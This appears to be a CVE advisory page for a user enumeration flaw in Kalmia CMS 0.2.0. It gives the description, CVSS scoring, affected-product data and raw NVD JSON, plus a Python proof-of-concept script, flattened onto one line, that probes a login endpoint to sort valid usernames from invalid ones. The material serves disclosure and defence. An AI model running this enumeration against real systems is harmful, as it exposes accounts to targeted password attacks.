Security Vulnerability Report
中文
CVE-2025-65899 CVSS 5.3 MEDIUM

CVE-2025-65899

Published: 2025-12-04 22:15:49
Last Modified: 2025-12-10 21:39:07

Description

Kalmia CMS version 0.2.0 contains a user enumeration vulnerability in its authentication mechanism. The application returns different error messages for invalid users (user_not_found) versus valid users with incorrect passwords (invalid_password). This observable response discrepancy allows unauthenticated attackers to enumerate valid usernames on the system.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:difuse:kalmia:0.2.0:*:*:*:*:node.js:*:* - VULNERABLE
Kalmia CMS 0.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65899 PoC - Kalmia CMS User Enumeration # This script demonstrates the user enumeration vulnerability TARGET_URL = "http://target-site.com/api/auth/login" # Replace with actual target def enumerate_users(username_list): """ Enumerate valid usernames against Kalmia CMS authentication endpoint """ valid_users = [] for username in username_list: payload = { "username": username, "password": "wrong_password" # Intentionally wrong password } try: response = requests.post(TARGET_URL, json=payload, timeout=10) # Check response for user enumeration indicators if "invalid_password" in response.text.lower(): print(f"[+] VALID USER FOUND: {username}") valid_users.append(username) elif "user_not_found" in response.text.lower(): print(f"[-] User not found: {username}") else: print(f"[*] Unknown response for: {username}") except requests.RequestException as e: print(f"[!] Error testing {username}: {str(e)}") return valid_users def main(): # Example username list test_users = ["admin", "user", "test", "administrator", "root"] print("[*] Starting user enumeration for CVE-2025-65899") print(f"[*] Target: {TARGET_URL}") print("-" * 50) valid = enumerate_users(test_users) print("-" * 50) print(f"[*] Enumeration complete. Found {len(valid)} valid users.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65899", "sourceIdentifier": "[email protected]", "published": "2025-12-04T22:15:48.927", "lastModified": "2025-12-10T21:39:06.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kalmia CMS version 0.2.0 contains a user enumeration vulnerability in its authentication mechanism. The application returns different error messages for invalid users (user_not_found) versus valid users with incorrect passwords (invalid_password). This observable response discrepancy allows unauthenticated attackers to enumerate valid usernames on the system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:difuse:kalmia:0.2.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "C633D4D2-F80B-4C2D-BFAF-757F8974D461"}]}]}], "references": [{"url": "https://github.com/DifuseHQ/Kalmia", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Noxurge/CVE-2025-65899/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}